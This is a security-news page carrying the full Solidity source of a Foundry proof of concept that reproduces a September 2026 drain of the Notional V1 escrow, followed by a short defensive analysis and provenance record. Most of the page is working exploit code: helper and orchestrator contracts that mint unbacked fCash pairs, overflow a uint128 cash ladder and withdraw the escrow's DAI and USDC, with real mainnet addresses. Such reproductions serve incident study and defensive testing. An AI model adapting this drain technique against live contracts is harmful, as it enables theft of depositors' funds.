Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/NotionalFinance_exp.sol

Public reproduction listed for "Notional V1: integer overflow in a deprecated escrow contract". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/NotionalFinance_exp.sol291 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Notional Finance (V1) escrow drain — Ethereum mainnet, 2026-09-03.
8// ~$1.727M taken: 69,257.37 DAI + 1,658,524.86 USDC. Reported by Specter / PeckShield.
9//
10// Attacker EOA: 0xDaCC235a494750193695A111D715c2ca12b5Ce38
11// (helpers 0x8aaf01B6F9AcC973274B8718BE4D1C1be10E3be6 and
12// 0xC95496c917A41a394EfdAC3e0882F5903D24De69 funded gas in the real incident).
13//
14// Root cause: Notional V1 books an ERC-1155 fCash transfer as a MINTED PAIR — a CASH_PAYER
15// (debt / short, assetType 2) leg on `from` and a CASH_RECEIVER (claim / long, assetType 3)
16// leg on `to` — even when `from` never held the token. The escrow nets each account's fCash
17// in uint128 cash ladders. Minting a short of value ~2^128 overflows that ladder, so the
18// unbacked long on the counterparty settles at maturity as a real, withdrawable cash claim
19// sized to the escrow's entire live token balance, with no offsetting debt left behind.
20//
21// Two on-chain transactions, both from the attacker EOA, both fully permissionless (no signer /
22// admin / privileged path anywhere — the whole thing is public mint -> settle -> withdraw):
23//
24// TX1 0xe1589a19fe742f0d553889214abade69551fe944acffac014c28cc07b325d60a (block 25900220)
25// Deploys the exploit contract + four helper accounts, then mints the overflowed fCash.
26// No ERC-20 leaves the protocol here; only the fCash pairs are created. The fCash on the
27// near market matures at ts 1788480000, ~73s after this block.
28//
29// TX2 0xc3f3e318f7ab2d0daaba59e6ec901d25d1fe8a89aafe2b2b62e3b9aee1a24efa (block 25900234)
30// After maturity: settle the unbacked long into cash and withdraw real DAI + USDC out of
31// the Notional escrow, forwarding them to the attacker EOA.
32//
33// This PoC reconstructs both transactions as ordinary Solidity that calls Notional's real
34// functions directly — ERC1155Trade.encodeAssetId / safeTransferFrom / setApprovalForAll,
35// Portfolios.settleMaturedAssets, Escrow.withdraw — with the exact overflow-triggering
36// arguments observed on-chain (the huge fCash values are read live from the escrow's own token
37// balances, exactly as the attacker sized them). No bytecode replay, no raw calldata blobs.
38// The four helper accounts are real deployed Solidity contracts, matching the on-chain roles:
39// A1 seed leg (1-unit pair counterparty)
40// B_HUB mule that holds the ~2^128 seed and pushes the overflowed shorts out
41// C_DAI ends holding the fake DAI claim, settles + withdraws it
42// D_USDC ends holding the fake USDC claim, settles + withdraws it
43//
44// The arithmetic that overflows lives in Notional's own on-chain contracts; this file only
45// issues the same public calls the attacker did.
46//
47// forge test --contracts src/test/2026-09/NotionalFinance_exp.sol -vvv
49interface IERC1155Trade {
50 function setApprovalForAll(
51 address operator,
52 bool approved
53 ) external;
54 function safeTransferFrom(
55 address from,
56 address to,
57 uint256 id,
58 uint256 value,
59 bytes calldata data
60 ) external;
61 function encodeAssetId(
62 uint8 assetType,
63 uint16 instrumentGroupId,
64 uint32 maturity,
65 bytes1 tradeType
66 ) external view returns (uint256);
69interface IPortfolios {
70 function settleMaturedAssets(
71 address account
72 ) external;
73 function freeCollateralViewAggregateOnly(
74 address account
75 ) external view returns (int256);
78interface IEscrow {
79 function withdraw(
80 address token,
81 uint128 amount
82 ) external;
83 function cashBalances(
84 uint16 currency,
85 address account
86 ) external view returns (int256);
89interface ICashMarket {
90 function getActiveMaturities() external view returns (uint32[] memory);
93// Real deployed helper account. Each on-chain helper was its own contract so Notional's
94// per-account fCash ladders stay separate; the exploit orchestrator (its owner) drives it.
95contract NotionalHelper {
96 address internal immutable OWNER;
97 IERC1155Trade internal immutable NOTIONAL;
99 modifier onlyOwner() {
100 require(msg.sender == OWNER, "not owner");
101 _;
102 }
104 constructor(
105 IERC1155Trade notional
106 ) {
107 OWNER = msg.sender;
108 NOTIONAL = notional;
109 }
111 // Approve `operator` to move this account's fCash, so the pair-mint can assign this
112 // account as the transfer counterparty.
113 function approveOperator(
114 address operator
115 ) external onlyOwner {
116 NOTIONAL.setApprovalForAll(operator, true);
117 }
119 // Push an fCash leg out of this account. Minting from an account that holds no such token
120 // is exactly the bug: Notional creates the offsetting pair anyway.
121 function pushFCash(
122 address to,
123 uint256 id,
124 uint256 value
125 ) external onlyOwner {
126 NOTIONAL.safeTransferFrom(address(this), to, id, value, "");
127 }
129 // After maturity: settle this account's (overflowed) fCash claim into cash, withdraw the
130 // real token out of the escrow, and forward it to the attacker EOA.
131 function settleAndWithdraw(
132 IPortfolios portfolios,
133 IEscrow escrow,
134 address token,
135 uint128 amount,
136 address to
137 ) external onlyOwner {
138 portfolios.settleMaturedAssets(address(this));
139 escrow.withdraw(token, amount);
140 IERC20(token).transfer(to, amount);
141 }
144// Exploit orchestrator — plays the on-chain "EXPLOIT" contract role: deploys the helpers,
145// mints the overflowed fCash pairs in setup(), and settles/withdraws in drain().
146contract NotionalExploit {
147 IERC1155Trade internal constant NOTIONAL = IERC1155Trade(0xBbA899578bd3fA3DAa863A340f5600797993eF08);
148 IPortfolios internal constant PORTFOLIOS = IPortfolios(0x0A4721117040ABF319b954aBF13F654505C34920);
149 IEscrow internal constant ESCROW = IEscrow(0x9abd0b8868546105F6F48298eaDC1D9c82f7f683);
150 ICashMarket internal constant CASH_MARKET_DAI = ICashMarket(0xfabCDD7c1C3F7b892De64B2B52C4b786c4436Dba);
151 ICashMarket internal constant CASH_MARKET_USDC = ICashMarket(0x918fC5c7Dc1d4aC8F6F3B4D7473153e62c0f045d);
153 address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
154 address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
155 uint16 internal constant CURRENCY_DAI = 1;
156 uint16 internal constant CURRENCY_USDC = 2;
158 // Trade-type byte the attacker used in every asset id (part of the ERC-1155 id encoding).
159 bytes1 internal constant TRADE_TYPE = 0xA8;
160 // uint128 cash-ladder overflow seed: the huge short whose netting wraps.
161 uint256 internal constant OVERFLOW_SEED = type(uint128).max; // 2^128 - 1
163 NotionalHelper public a1; // 1-unit seed counterparty
164 NotionalHelper public bHub; // holds the overflow seed, pushes the shorts out
165 NotionalHelper public cDai; // ends with the fake DAI claim
166 NotionalHelper public dUsdc; // ends with the fake USDC claim
168 uint32 internal maturityNear; // first active maturity (settles inside the incident window)
169 uint32 internal maturityFar; // second active maturity (the seed leg)
171 function setup() external {
172 a1 = new NotionalHelper(NOTIONAL);
173 bHub = new NotionalHelper(NOTIONAL);
174 cDai = new NotionalHelper(NOTIONAL);
175 dUsdc = new NotionalHelper(NOTIONAL);
177 // Approval graph mirrors the incident: the seed counterparties approve this
178 // orchestrator, and the claim recipients approve the mule that mints to them.
179 a1.approveOperator(address(this));
180 bHub.approveOperator(address(this));
181 cDai.approveOperator(address(bHub));
182 dUsdc.approveOperator(address(bHub));
184 // Both currency markets expose the same two active maturities.
185 uint32[] memory m = CASH_MARKET_DAI.getActiveMaturities();
186 maturityNear = m[0];
187 maturityFar = m[1];
189 // Size the drain to the escrow's own live balances, exactly as the attacker did.
190 uint256 escrowDai = IERC20(DAI).balanceOf(address(ESCROW));
191 uint256 escrowUsdc = IERC20(USDC).balanceOf(address(ESCROW));
193 // Real fCash ids via Notional's own encoder.
194 uint256 idPayerNear = NOTIONAL.encodeAssetId(2, 0, maturityNear, TRADE_TYPE); // CASH_PAYER, near
195 uint256 idPayerFar = NOTIONAL.encodeAssetId(2, 0, maturityFar, TRADE_TYPE); // CASH_PAYER, far
196 uint256 idReceiverNear = NOTIONAL.encodeAssetId(3, 0, maturityNear, TRADE_TYPE); // CASH_RECEIVER, near
198 // Seed 1: a 1-unit pair (this contract short, A1 long) on the near market.
199 NOTIONAL.safeTransferFrom(address(this), address(a1), idPayerNear, 1, "");
200 // Seed 2: a ~2^128 pair on the far market — the mule bHub takes the huge leg. This is
201 // the collateral whose uint128 netting later wraps.
202 NOTIONAL.safeTransferFrom(address(this), address(bHub), idPayerFar, OVERFLOW_SEED, "");
204 // With only the offsetting seed pair, this account is still collateral-neutral.
205 require(PORTFOLIOS.freeCollateralViewAggregateOnly(address(this)) == 0, "seed not neutral");
207 // Mint the overflowed shorts out of bHub: a DAI-sized payer to cDai and a USDC-sized
208 // receiver to dUsdc. bHub holds no near-maturity fCash, but Notional mints the pair
209 // regardless, and the huge values overflow the escrow's uint128 ladder.
210 bHub.pushFCash(address(cDai), idPayerNear, escrowDai);
211 bHub.pushFCash(address(dUsdc), idReceiverNear, escrowUsdc);
213 // After the overflow, the mule reads as (spuriously) over-collateralised rather than
214 // deep in debt — the wrap that makes the whole thing pass Notional's own checks.
215 require(PORTFOLIOS.freeCollateralViewAggregateOnly(address(bHub)) >= 0, "overflow check failed");
216 }
218 // TX2: settle the fake matured claims and pull the real tokens out to `to`.
219 function drain(
220 address to
221 ) external {
222 uint256 daiClaim = IERC20(DAI).balanceOf(address(ESCROW));
223 uint256 usdcClaim = IERC20(USDC).balanceOf(address(ESCROW));
225 cDai.settleAndWithdraw(PORTFOLIOS, ESCROW, DAI, uint128(daiClaim), to);
226 dUsdc.settleAndWithdraw(PORTFOLIOS, ESCROW, USDC, uint128(usdcClaim), to);
227 }
230contract NotionalFinanceExp is BaseTestWithBalanceLog {
231 address internal constant ATTACKER = 0xDaCC235a494750193695A111D715c2ca12b5Ce38;
232 address internal constant NOTIONAL = 0xBbA899578bd3fA3DAa863A340f5600797993eF08; // ERC-1155 proxy
233 address internal constant CUSTODY = 0x9abd0b8868546105F6F48298eaDC1D9c82f7f683; // escrow, holds DAI + USDC
234 IERC20 internal constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
235 IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
237 // Realized amounts observed on-chain in TX2.
238 uint256 internal constant DAI_STOLEN = 69_257_372_677_950_923_155_658; // 69,257.37 DAI
239 uint256 internal constant USDC_STOLEN = 1_658_524_864_122; // 1,658,524.86 USDC
241 // Block / timestamps from the two incident transactions.
242 uint256 internal constant FORK_BLOCK = 25_900_219; // parent of TX1's block
243 uint256 internal constant TX1_TS = 1_788_479_927; // block 25900220
244 uint256 internal constant TX2_TS = 1_788_480_095; // block 25900234, after fCash maturity 1788480000
246 function setUp() public {
247 vm.createSelectFork("mainnet", FORK_BLOCK);
248 vm.label(ATTACKER, "AttackerEOA");
249 vm.label(NOTIONAL, "Notional1155");
250 vm.label(CUSTODY, "Escrow");
251 multiAssetLog = true;
252 fundingTokens.push(address(DAI));
253 fundingTokens.push(address(USDC));
254 attacker = ATTACKER; // balanceLog tracks the attacker EOA
255 }
257 function testExploit() public balanceLog {
258 uint256 attDaiBefore = DAI.balanceOf(ATTACKER);
259 uint256 attUsdcBefore = USDC.balanceOf(ATTACKER);
260 uint256 custDaiBefore = DAI.balanceOf(CUSTODY);
261 uint256 custUsdcBefore = USDC.balanceOf(CUSTODY);
263 // Act as the attacker EOA: msg.sender + tx.origin = ATTACKER for both txs.
264 vm.startPrank(ATTACKER, ATTACKER);
266 // --- TX1: deploy + mint the unbacked/overflowed fCash pairs. ---
267 vm.warp(TX1_TS);
268 NotionalExploit exploit = new NotionalExploit();
269 exploit.setup();
271 // --- TX2: after maturity, settle the fake claims and withdraw real DAI + USDC. ---
272 vm.warp(TX2_TS);
273 exploit.drain(ATTACKER);
275 vm.stopPrank();
277 uint256 attDaiGain = DAI.balanceOf(ATTACKER) - attDaiBefore;
278 uint256 attUsdcGain = USDC.balanceOf(ATTACKER) - attUsdcBefore;
279 uint256 custDaiLoss = custDaiBefore - DAI.balanceOf(CUSTODY);
280 uint256 custUsdcLoss = custUsdcBefore - USDC.balanceOf(CUSTODY);
282 emit log_named_decimal_uint("attacker DAI gain", attDaiGain, 18);
283 emit log_named_decimal_uint("attacker USDC gain", attUsdcGain, 6);
285 // Realized gain matches the incident to the wei, and equals the escrow's loss.
286 assertEq(attDaiGain, DAI_STOLEN, "DAI gain mismatch");
287 assertEq(attUsdcGain, USDC_STOLEN, "USDC gain mismatch");
288 assertEq(custDaiLoss, DAI_STOLEN, "escrow DAI loss mismatch");
289 assertEq(custUsdcLoss, USDC_STOLEN, "escrow USDC loss mismatch");
290 }

Analysis

What the file is

A Foundry test reconstructing the Notional V1 legacy-escrow drain on an Ethereum fork. It targets live contracts and is not republished.

How it is built

Interfaces cover ERC-1155 trading, settling matured assets and a free-collateral view, escrow withdraw and cash balance reads, and the cash market's active maturities. A helper contract approves an operator, pushes fCash and settles and withdraws; an exploit contract has a setup and a drain function.

What the test checks

It asserts that the attacker's DAI and USDC gains equal the stated amounts and equal the escrow's losses, exactly.

Why it matters for defenders

Legacy contracts keep value after their product is retired. Per Notional's post-mortem, a value overflowed the type used in the escrow's accounting and created an unbacked claim that settled as a real withdrawal. Arithmetic bounds need review on any contract that still holds funds.

Our analysis, loss and remediation are in the incident record.

Fixes and defensive tests

  • Contract paused.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

File record

Name
NotionalFinance_exp.sol
Path
src/test/2026-09/NotionalFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4b5b4335f55bafed937ff39888f620a0156fc93e
Language
Solidity
Size
292 lines
Date
2026-09-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19
Incident
Notional V1: integer overflow in a deprecated escrow contract
Protocols
Notional V1
Chains
Ethereum

Provenance

Path src/test/2026-09/NotionalFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4b5b4335f55bafed937ff39888f620a0156fc93e, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.